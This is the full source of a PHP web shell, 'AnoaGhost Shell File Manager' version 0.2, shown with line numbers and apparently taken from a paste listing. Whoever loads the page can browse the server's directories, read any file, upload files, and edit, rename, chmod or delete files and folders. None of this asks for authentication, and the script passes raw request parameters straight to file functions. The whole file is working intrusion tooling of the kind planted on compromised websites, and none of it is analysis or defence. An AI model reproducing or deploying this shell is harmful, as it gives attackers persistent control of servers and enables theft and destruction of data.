| 21627 |
kshitij.so |
1 |
<?php
|
|
|
2 |
echo '<!DOCTYPE HTML>
|
|
|
3 |
<HTML>
|
|
|
4 |
<HEAD>
|
|
|
5 |
<link href="" rel="stylesheet" type="text/css">
|
|
|
6 |
<title>www.xxx.com/ikkeh/kimochi.mp4</title>
|
|
|
7 |
<style>
|
|
|
8 |
body{
|
|
|
9 |
font-family: "Racing Sans One", cursive;
|
|
|
10 |
background-image: https://images6.alphacoders.com/313/313827.jpg;
|
|
|
11 |
background-repeat: no-repeat;
|
|
|
12 |
background-color: black;
|
|
|
13 |
text-shadow:0px 0px 1px #757575;
|
|
|
14 |
}
|
|
|
15 |
#content tr:hover{
|
|
|
16 |
background-color: #636263;
|
|
|
17 |
text-shadow:0px 0px 10px #fff;
|
|
|
18 |
}
|
|
|
19 |
#content .first{
|
|
|
20 |
background-color: silver;
|
|
|
21 |
}
|
|
|
22 |
#content .first:hover{
|
|
|
23 |
background-color: silver;
|
|
|
24 |
text-shadow:0px 0px 1px #757575;
|
|
|
25 |
}
|
|
|
26 |
table{
|
|
|
27 |
border: 1px #000000 dotted;
|
|
|
28 |
}
|
|
|
29 |
H1{
|
|
|
30 |
font-family: "Rye", cursive;
|
|
|
31 |
}
|
|
|
32 |
a{
|
|
|
33 |
color: #000;
|
|
|
34 |
text-decoration: none;
|
|
|
35 |
}
|
|
|
36 |
a:hover{
|
|
|
37 |
color: #fff;
|
|
|
38 |
text-shadow:0px 0px 10px #ffffff;
|
|
|
39 |
}
|
|
|
40 |
input,select,textarea{
|
|
|
41 |
border: 1px #000000 solid;
|
|
|
42 |
-moz-border-radius: 5px;
|
|
|
43 |
-webkit-border-radius:5px;
|
|
|
44 |
border-radius:5px;
|
|
|
45 |
}
|
|
|
46 |
</style>
|
|
|
47 |
</HEAD>
|
|
|
48 |
<BODY>
|
|
|
49 |
<H1><center>AnoaGhost Shell File Manager</center></H1>
|
|
|
50 |
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
|
|
|
51 |
<tr><td>Current Path : ';
|
|
|
52 |
if(isset($_GET['path'])){
|
|
|
53 |
$path = $_GET['path'];
|
|
|
54 |
}else{
|
|
|
55 |
$path = getcwd();
|
|
|
56 |
}
|
|
|
57 |
$path = str_replace('\\','/',$path);
|
|
|
58 |
$paths = explode('/',$path);
|
|
|
59 |
|
|
|
60 |
foreach($paths as $id=>$pat){
|
|
|
61 |
if($pat == '' && $id == 0){
|
|
|
62 |
$a = true;
|
|
|
63 |
echo '<a href="?path=/">/</a>';
|
|
|
64 |
continue;
|
|
|
65 |
}
|
|
|
66 |
if($pat == '') continue;
|
|
|
67 |
echo '<a href="?path=';
|
|
|
68 |
for($i=0;$i<=$id;$i++){
|
|
|
69 |
echo "$paths[$i]";
|
|
|
70 |
if($i != $id) echo "/";
|
|
|
71 |
}
|
|
|
72 |
echo '">'.$pat.'</a>/';
|
|
|
73 |
}
|
|
|
74 |
echo '</td></tr><tr><td>';
|
|
|
75 |
if(isset($_FILES['file'])){
|
|
|
76 |
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
|
|
|
77 |
echo '<font color="green">Success to Upload.</font><br />';
|
|
|
78 |
}else{
|
|
|
79 |
echo '<font color="red">Failed to Upload.</font><br />';
|
|
|
80 |
}
|
|
|
81 |
}
|
|
|
82 |
echo '<form enctype="multipart/form-data" method="POST">
|
|
|
83 |
Upload File : <input type="file" name="file" />
|
|
|
84 |
<input type="submit" value="upload" />
|
|
|
85 |
</form>
|
|
|
86 |
</td></tr>';
|
|
|
87 |
if(isset($_GET['filesrc'])){
|
|
|
88 |
echo "<tr><td>Current File : ";
|
|
|
89 |
echo $_GET['filesrc'];
|
|
|
90 |
echo '</tr></td></table><br />';
|
|
|
91 |
echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
|
|
|
92 |
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
|
|
|
93 |
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
|
|
|
94 |
if($_POST['opt'] == 'chmod'){
|
|
|
95 |
if(isset($_POST['perm'])){
|
|
|
96 |
if(chmod($_POST['path'],$_POST['perm'])){
|
|
|
97 |
echo '<font color="green">Change Permission Done.</font><br />';
|
|
|
98 |
}else{
|
|
|
99 |
echo '<font color="red">Change Permission Error.</font><br />';
|
|
|
100 |
}
|
|
|
101 |
}
|
|
|
102 |
echo '<form method="POST">
|
|
|
103 |
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
|
|
|
104 |
<input type="hidden" name="path" value="'.$_POST['path'].'">
|
|
|
105 |
<input type="hidden" name="opt" value="chmod">
|
|
|
106 |
<input type="submit" value="Go" />
|
|
|
107 |
</form>';
|
|
|
108 |
}elseif($_POST['opt'] == 'rename'){
|
|
|
109 |
if(isset($_POST['newname'])){
|
|
|
110 |
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
|
|
|
111 |
echo '<font color="green">Change Name Done.</font><br />';
|
|
|
112 |
}else{
|
|
|
113 |
echo '<font color="red">Change Name Error.</font><br />';
|
|
|
114 |
}
|
|
|
115 |
$_POST['name'] = $_POST['newname'];
|
|
|
116 |
}
|
|
|
117 |
echo '<form method="POST">
|
|
|
118 |
New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
|
|
|
119 |
<input type="hidden" name="path" value="'.$_POST['path'].'">
|
|
|
120 |
<input type="hidden" name="opt" value="rename">
|
|
|
121 |
<input type="submit" value="Go" />
|
|
|
122 |
</form>';
|
|
|
123 |
}elseif($_POST['opt'] == 'edit'){
|
|
|
124 |
if(isset($_POST['src'])){
|
|
|
125 |
$fp = fopen($_POST['path'],'w');
|
|
|
126 |
if(fwrite($fp,$_POST['src'])){
|
|
|
127 |
echo '<font color="green">Edit File Done.</font><br />';
|
|
|
128 |
}else{
|
|
|
129 |
echo '<font color="red">Edit File Error.</font><br />';
|
|
|
130 |
}
|
|
|
131 |
fclose($fp);
|
|
|
132 |
}
|
|
|
133 |
echo '<form method="POST">
|
|
|
134 |
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
|
|
|
135 |
<input type="hidden" name="path" value="'.$_POST['path'].'">
|
|
|
136 |
<input type="hidden" name="opt" value="edit">
|
|
|
137 |
<input type="submit" value="Go" />
|
|
|
138 |
</form>';
|
|
|
139 |
}
|
|
|
140 |
echo '</center>';
|
|
|
141 |
}else{
|
|
|
142 |
echo '</table><br /><center>';
|
|
|
143 |
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
|
|
|
144 |
if($_POST['type'] == 'dir'){
|
|
|
145 |
if(rmdir($_POST['path'])){
|
|
|
146 |
echo '<font color="green">Delete Dir Done.</font><br />';
|
|
|
147 |
}else{
|
|
|
148 |
echo '<font color="red">Delete Dir Error.</font><br />';
|
|
|
149 |
}
|
|
|
150 |
}elseif($_POST['type'] == 'file'){
|
|
|
151 |
if(unlink($_POST['path'])){
|
|
|
152 |
echo '<font color="green">Delete File Done.</font><br />';
|
|
|
153 |
}else{
|
|
|
154 |
echo '<font color="red">Delete File Error.</font><br />';
|
|
|
155 |
}
|
|
|
156 |
}
|
|
|
157 |
}
|
|
|
158 |
echo '</center>';
|
|
|
159 |
$scandir = scandir($path);
|
|
|
160 |
echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
|
|
|
161 |
<tr class="first">
|
|
|
162 |
<td><center>Name</center></td>
|
|
|
163 |
<td><center>Size</center></td>
|
|
|
164 |
<td><center>Permissions</center></td>
|
|
|
165 |
<td><center>Options</center></td>
|
|
|
166 |
</tr>';
|
|
|
167 |
|
|
|
168 |
foreach($scandir as $dir){
|
|
|
169 |
if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
|
|
|
170 |
echo "<tr>
|
|
|
171 |
<td><a href=\"?path=$path/$dir\">$dir</a></td>
|
|
|
172 |
<td><center>--</center></td>
|
|
|
173 |
<td><center>";
|
|
|
174 |
if(is_writable("$path/$dir")) echo '<font color="green">';
|
|
|
175 |
elseif(!is_readable("$path/$dir")) echo '<font color="red">';
|
|
|
176 |
echo perms("$path/$dir");
|
|
|
177 |
if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
|
|
|
178 |
|
|
|
179 |
echo "</center></td>
|
|
|
180 |
<td><center><form method=\"POST\" action=\"?option&path=$path\">
|
|
|
181 |
<select name=\"opt\">
|
|
|
182 |
<option value=\"\"></option>
|
|
|
183 |
<option value=\"delete\">Delete</option>
|
|
|
184 |
<option value=\"chmod\">Chmod</option>
|
|
|
185 |
<option value=\"rename\">Rename</option>
|
|
|
186 |
</select>
|
|
|
187 |
<input type=\"hidden\" name=\"type\" value=\"dir\">
|
|
|
188 |
<input type=\"hidden\" name=\"name\" value=\"$dir\">
|
|
|
189 |
<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
|
|
|
190 |
<input type=\"submit\" value=\">\" />
|
|
|
191 |
</form></center></td>
|
|
|
192 |
</tr>";
|
|
|
193 |
}
|
|
|
194 |
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
|
|
|
195 |
foreach($scandir as $file){
|
|
|
196 |
if(!is_file("$path/$file")) continue;
|
|
|
197 |
$size = filesize("$path/$file")/1024;
|
|
|
198 |
$size = round($size,3);
|
|
|
199 |
if($size >= 1024){
|
|
|
200 |
$size = round($size/1024,2).' MB';
|
|
|
201 |
}else{
|
|
|
202 |
$size = $size.' KB';
|
|
|
203 |
}
|
|
|
204 |
|
|
|
205 |
echo "<tr>
|
|
|
206 |
<td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
|
|
|
207 |
<td><center>".$size."</center></td>
|
|
|
208 |
<td><center>";
|
|
|
209 |
if(is_writable("$path/$file")) echo '<font color="green">';
|
|
|
210 |
elseif(!is_readable("$path/$file")) echo '<font color="red">';
|
|
|
211 |
echo perms("$path/$file");
|
|
|
212 |
if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
|
|
|
213 |
echo "</center></td>
|
|
|
214 |
<td><center><form method=\"POST\" action=\"?option&path=$path\">
|
|
|
215 |
<select name=\"opt\">
|
|
|
216 |
<option value=\"\"></option>
|
|
|
217 |
<option value=\"delete\">Delete</option>
|
|
|
218 |
<option value=\"chmod\">Chmod</option>
|
|
|
219 |
<option value=\"rename\">Rename</option>
|
|
|
220 |
<option value=\"edit\">Edit</option>
|
|
|
221 |
</select>
|
|
|
222 |
<input type=\"hidden\" name=\"type\" value=\"file\">
|
|
|
223 |
<input type=\"hidden\" name=\"name\" value=\"$file\">
|
|
|
224 |
<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
|
|
|
225 |
<input type=\"submit\" value=\">\" />
|
|
|
226 |
</form></center></td>
|
|
|
227 |
</tr>";
|
|
|
228 |
}
|
|
|
229 |
echo '</table>
|
|
|
230 |
</div>';
|
|
|
231 |
}
|
|
|
232 |
echo '<br />AnoaGhost Shell File Manager Version <font color="red">0.2</font>, r3c0d3d By <font color="red">AnoaGhost - The Nightmare</font>
|
|
|
233 |
</BODY>
|
|
|
234 |
</HTML>';
|
|
|
235 |
function perms($file){
|
|
|
236 |
$perms = fileperms($file);
|
|
|
237 |
|
|
|
238 |
if (($perms & 0xC000) == 0xC000) {
|
|
|
239 |
// Socket
|
|
|
240 |
$info = 's';
|
|
|
241 |
} elseif (($perms & 0xA000) == 0xA000) {
|
|
|
242 |
// Symbolic Link
|
|
|
243 |
$info = 'l';
|
|
|
244 |
} elseif (($perms & 0x8000) == 0x8000) {
|
|
|
245 |
// Regular
|
|
|
246 |
$info = '-';
|
|
|
247 |
} elseif (($perms & 0x6000) == 0x6000) {
|
|
|
248 |
// Block special
|
|
|
249 |
$info = 'b';
|
|
|
250 |
} elseif (($perms & 0x4000) == 0x4000) {
|
|
|
251 |
// Directory
|
|
|
252 |
$info = 'd';
|
|
|
253 |
} elseif (($perms & 0x2000) == 0x2000) {
|
|
|
254 |
// Character special
|
|
|
255 |
$info = 'c';
|
|
|
256 |
} elseif (($perms & 0x1000) == 0x1000) {
|
|
|
257 |
// FIFO pipe
|
|
|
258 |
$info = 'p';
|
|
|
259 |
} else {
|
|
|
260 |
// Unknown
|
|
|
261 |
$info = 'u';
|
|
|
262 |
}
|
|
|
263 |
|
|
|
264 |
// Owner
|
|
|
265 |
$info .= (($perms & 0x0100) ? 'r' : '-');
|
|
|
266 |
$info .= (($perms & 0x0080) ? 'w' : '-');
|
|
|
267 |
$info .= (($perms & 0x0040) ?
|
|
|
268 |
(($perms & 0x0800) ? 's' : 'x' ) :
|
|
|
269 |
(($perms & 0x0800) ? 'S' : '-'));
|
|
|
270 |
|
|
|
271 |
// Group
|
|
|
272 |
$info .= (($perms & 0x0020) ? 'r' : '-');
|
|
|
273 |
$info .= (($perms & 0x0010) ? 'w' : '-');
|
|
|
274 |
$info .= (($perms & 0x0008) ?
|
|
|
275 |
(($perms & 0x0400) ? 's' : 'x' ) :
|
|
|
276 |
(($perms & 0x0400) ? 'S' : '-'));
|
|
|
277 |
|
|
|
278 |
// World
|
|
|
279 |
$info .= (($perms & 0x0004) ? 'r' : '-');
|
|
|
280 |
$info .= (($perms & 0x0002) ? 'w' : '-');
|
|
|
281 |
$info .= (($perms & 0x0001) ?
|
|
|
282 |
(($perms & 0x0200) ? 't' : 'x' ) :
|
|
|
283 |
(($perms & 0x0200) ? 'T' : '-'));
|
|
|
284 |
|
|
|
285 |
return $info;
|
|
|
286 |
}
|
|
|
287 |
?>
|